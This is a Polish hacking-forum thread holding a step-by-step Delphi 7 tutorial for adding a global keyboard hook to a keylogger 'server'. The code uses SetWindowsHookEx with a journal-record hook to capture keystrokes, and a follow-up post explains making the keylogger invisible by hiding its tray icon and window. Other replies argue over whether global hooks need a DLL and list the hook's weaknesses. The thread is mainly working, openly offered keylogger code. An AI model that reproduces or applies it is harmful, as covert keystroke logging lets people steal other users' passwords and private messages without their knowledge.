Strona 1 z 2 12 OstatniOstatni
Pokaż wyniki od 1 do 15 z 18

Temat: [Tutorial][Delphi 7]Zakładamy Hooka Globalnego na Klawiaturę

  1. #1
    Użytkownik
    Dołączył
    15-05-2007
    Skąd
    Przemyśl
    Posty
    248

    Domyślnie [Tutorial][Delphi 7]Zakładamy Hooka Globalnego na Klawiaturę

    [center:91eea47053]
    ***TUTORIAL OPRACOWANY PRZEZ REPTILE REX DLA UŻYTKOWNIKÓW FORUM HAKER.COM.PL***[/b]
    [/center:91eea47053]

    No, w końcu zabrałem się za napisanie jakiegoś Tutorialka no myślę że wielu z was chcę dowiedzieć się jak założyć tego Hooka.

    Co Będziemy Potrzebować
    -Gotowy swój Serwer Keyloggera
    -Delphi 7

    Do Roboty:

    Otwieramy w Delphi Kod źródłowy swojego serwera domyślnie Project1.dpr

    Teraz Klikamy File>>New>>Form

    Jak zauważymy pojawiła nam się 2 forma, możemy zmienić jej name,

    Ok, teraz w Unit2 (Kod do Formy 2) w głównym var dodajemy
    MainHook : HHOOK; następnie pod tym dodajemy:
    function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;

    Powinno to wyglądać tak:

    Kod:
    var
    
    **Form3: TForm3;
    
    **MainHook : HHOOK;
    
    
    
     function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
    Teraz niżej Widzimy

    Kod:
    implementation
    
    
    
    {$R *.dfm}
    Pod tym Kopiujemy Poniższy Kod:

    Kod:
    function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
    
    var
    
    **Buffer: TEventMsg;
    
    begin
    
    **result := 0;
    
    **Buffer := PEventMsg(lParam)^;
    
    **if Buffer.message = wm_KeyDown then
    
    ****Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml); //Tutaj Wybieramy Gdzie mają sie zapisywać wciskane klawisze, domyslnie jest to Form1.Memo1 jezeli masz inną nazwe formy domyslnej lub inną nazwę memo musisz to zmienić
    
    end;
    Powinno to Wyglądać tak:

    Kod:
    implementation
    
    
    
    {$R *.dfm}
    
    
    
    function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
    
    var
    
    **Buffer: TEventMsg;
    
    begin
    
    **result := 0;
    
    **Buffer := PEventMsg(lParam)^;
    
    **if Buffer.message = wm_KeyDown then
    
    ****Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml); //Tutaj Wybieramy Gdzie mają sie zapisywać wciskane klawisze, domyslnie jest to Form1.Memo1 jezeli masz inną nazwe formy domyslnej lub inną nazwę memo musisz to zmienić
    
    end;
    Teraz Klikamy jeden raz LPM na Formę2 i w Object Inspektorze Wybieramy zdarzenie OnCreate klikając na niego 2 Razy

    Wklepujemy w procedurkę OnCreate poniżysz kod:

    Kod:
    **MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);
    Powinno to wyglądać tak:

    Kod:
    procedure TForm2.FormCreate(Sender: TObject);
    
    begin
    
    **MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);
    
    end;
    Teraz Wybieramy OnDestroy i wklepujemy do procedurki poniższy kodzik:

    Kod:
    **UnhookWindowsHookEx(MainHook);
    Powinno to wyglądać tak:

    Kod:
    procedure TForm2.FormDestroy(Sender: TObject);
    
    begin
    
    **UnhookWindowsHookEx(MainHook);
    
    end;
    Zapisujemy do Katalogu z plikami do Projectu1 i Kompilujemy

    Program Zapyta się czy Dodać Form2 do Form1 oczywiście Zgadzasz się

    I Po Sprawie !! mamy już Hooka na Klawiaturkę :]


    W tym Hooku jest parę luk:

    -Nie łapie Cyfr
    -Wszystko dużymi literami czyli jak na przykład napiszesz Jola to wyjdzie JOLA
    -Przestaje Działać po Uruchomieniu Managera Windows (CTRL+ALT+DELATE)
    -Nie Łapie Polskich znaków


    [center:91eea47053]
    ***TUTORIAL OPRACOWANY PRZEZ REPTILE REX DLA UŻYTKOWNIKÓW FORUM HAKER.COM.PL***[/b]
    [/center:91eea47053]

  2. #2
    Dawni Moderatorzy Avatar grzonu
    Dołączył
    26-12-2006
    Skąd
    Gdansk, Poland, Poland
    Posty
    1 392

    Domyślnie

    ale o ile ja wiem to procedura główna hooka musi byc w dll. załozenie samo moze byc w programie(wywołanie funkcji SetWindowHookEx() ) Jestes pewien ze to działa?
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

  3. #3
    Użytkownik
    Dołączył
    15-05-2007
    Skąd
    Przemyśl
    Posty
    248

    Domyślnie

    Na 1000000000% Działa Testowałem

  4. #4
    Dawni Moderatorzy Avatar grzonu
    Dołączył
    26-12-2006
    Skąd
    Gdansk, Poland, Poland
    Posty
    1 392

    Domyślnie

    a jesli twoja aplikacja jest zminimalizowana i inna jest aktywana to tez działa? Jakoś jak czytalem w necie wczesniej jak robilem swojego keyloggera to wszedzie było nawet w
    msdn ze hook musi byc w dll aby byl globalny. Raczej wątpi aby wszyscy sie mylili(w tym msdn) tylko ty miał racje.

    Klawisze sie moga zapisywac jesli twoja aplikacja jest aktywna a jesli wlaczysz sobie notatnik a twoja plikacja jest zwinieta to wątpie aby przechwycił
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

  5. #5
    Użytkownik
    Dołączył
    16-10-2007
    Posty
    106

    Domyślnie

    grzonu dziala bez problemu nie wierzysz? sprawdz

  6. #6
    Użytkownik
    Dołączył
    15-05-2007
    Skąd
    Przemyśl
    Posty
    248

    Domyślnie

    Działa, Testowałem zrobiłem keyloggerka niewidzialnego z pomocą Cooltraya

    IconVisible na False
    StartMinimalized True
    MinimalizeToTray True


    uruchomiłem notatnik wpisałem tam zdanie i działa

    Originally posted by grzonu
    Raczej wątpie aby wszyscy sie mylili(w tym msdn) tylko ty miał racje.
    Spróbuj sam a Potem stwierdź kto miał rację ;/

    @UP Nom, a dlaczego nie miło by działać :]

  7. #7
    Dawni Moderatorzy Avatar grzonu
    Dołączył
    26-12-2006
    Skąd
    Gdansk, Poland, Poland
    Posty
    1 392

    Domyślnie

    ok moze i działa(choc jeszcze nie testowalem bo nie pisuje w delphi wole c++) wszedzie pisza ze do zalozenia hooka GLOBALNEGO potrzebne jest dll a winapi ktore wykozystujesz jest takie samo dla delphi i dla c++ wiec nie jest to kwestia jezyka
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

  8. #8
    Dawni Moderatorzy Avatar Dark Smark
    Dołączył
    29-04-2006
    Posty
    1 596

    Domyślnie

    Originally posted by Reptile ReX
    W tym Hooku jest parę luk:

    -Nie łapie Cyfr
    -Wszystko dużymi literami czyli jak na przykład napiszesz Jola to wyjdzie JOLA
    -Nie łapie Polskich znaków
    Zapomniałeś dodać że każdy hook puszcza po wywołaniu menadżera zadań. Przydała by się funkcja sprawdzająca czy hook jest aktywny.

  9. #9

  10. #10
    Użytkownik
    Dołączył
    21-06-2007
    Posty
    45

    Domyślnie

    dobra robota ale jest jedna rzecz gdy wcisniemy ctrl + alt + del hook sie zrywa i dupa niedziala czy jest jakis sposob zeby to wyeliminowac?

  11. #11
    Użytkownik
    Dołączył
    23-07-2007
    Skąd
    Olesno
    Posty
    207

    Domyślnie

    A czy ja wiem, funkcja skopiowana, dużo istnieje takich tutoriali..
    Moim zdaniem tutorial nie jest zły, tylko po co pokazywać początkującym
    programistą, którzy kalkulatora nie napiszą, ponieważ nie znają jeszcze matematyki?
    Chodzi mi po prostu o to, że przez takie tutoriale, ściągnie się kolejny napływ na to forum
    "hakerów". Nie wiem jak was, ale mnie userzy tacy jak np. "malyprogramista" "troche"
    denerwują i uważam, że obniżają poziom forum. No i nawiązując do tego tutoriala trzeba wspomnieć, że jeśli ktoś zrobi jakiegoś breakpointa, klawiatura nie będzie reagowała aż do ponownego uruchomienia komputera (Piszę to, bo jak wcześniej wspomniałem są tu początkujący).

    grzonu nie mam pojęcia gdzie przeczytałeś o tym, że musi to być w bibliotece, ale gdziekolwiek to napisano nie musi być.

  12. #12
    Użytkownik
    Dołączył
    15-05-2007
    Skąd
    Przemyśl
    Posty
    248

    Domyślnie

    Rozumiem cię ale ten tutorial nie jest poświęcony "małym programistom"

    Zaistniał z takiego powodu ponieważ wiele osób nie tylko newbie miało z tym problem

    Pozdrawiam

  13. #13
    Użytkownik
    Dołączył
    23-07-2007
    Skąd
    Olesno
    Posty
    207

    Domyślnie

    Co do "malyprogramista" chodziło mi o konkretnego użytkownika.
    Moim zdaniem programiści dzielą sie na: początkujący, zaawansowany - średniego poziomu umiejętności moim zdaniem nie ma. I wątpię, że jakiś zaawansowany sobie z tym nie poradzi, a tym początkującym radził bym na początek pisać programy nienależące do kategorii syfu.

  14. #14
    Dawni Moderatorzy Avatar grzonu
    Dołączył
    26-12-2006
    Skąd
    Gdansk, Poland, Poland
    Posty
    1 392

    Domyślnie

    gdzie przeczytalem a tu

    http://msdn2.microsoft.com/en-us/library/ms644990.aspx

    a dokladniej
    cytuje
    "
    The global hooks are a shared resource, and installing one affects all applications in the same desktop as the calling thread. All global hook functions must be in libraries . Global hooks should be restricted to special-purpose applications or to use as a development aid during application debugging. Libraries that no longer need a hook should remove its hook procedure.
    "

    Dla nie kumatych to co jest pogrubione znaczy: wszystki globalne hooki musza byc w bibliotekach
    Drugie zrodlo:

    http://www.winapi.org/index.php?option=com...8&Itemid=30
    Kod:
    Niektóre z hook’ów mogą być globalne lub odnosić się tylko do wybranego wątku (thread). Jaka jest różnic chyba każdy wie. Globalne przechwytują komunikaty z całego systemu. Tutaj może się pojawiać mała niedogodno¶ć dla początkujących programistów. Hook’i globalne należy umieszczać w bibliotekach dynamicznie linkowanych (dll).
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

  15. #15
    Użytkownik
    Dołączył
    15-05-2007
    Skąd
    Przemyśl
    Posty
    248

    Domyślnie

    Jak widać nie muszą być w Plikach .dll

Podobne wątki

  1. [TUTORIAL][DELPHI] Piszemy prosty skaner portów
    Przez p3o
    w forum Delphi/Pascal
    Odpowiedzi: 6
    Ostatni post / autor: 05-04-2010, 16:23
  2. [Tutorial] Jak nie programować w Delphi
    Przez Damn3d
    w forum Tutoriale - częste pytania i odpowiedzi.
    Odpowiedzi: 5
    Ostatni post / autor: 29-09-2009, 15:08
  3. Pomoc z warunkiem dla Hooka.
    Przez Mohiro
    w forum Delphi/Pascal
    Odpowiedzi: 3
    Ostatni post / autor: 29-01-2008, 15:57
  4. Odpowiedzi: 3
    Ostatni post / autor: 08-03-2005, 15:27
  5. Instalowanie Hooka
    Przez banger
    w forum Keyloggery
    Odpowiedzi: 0
    Ostatni post / autor: 01-08-2003, 01:34

Uprawnienia

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •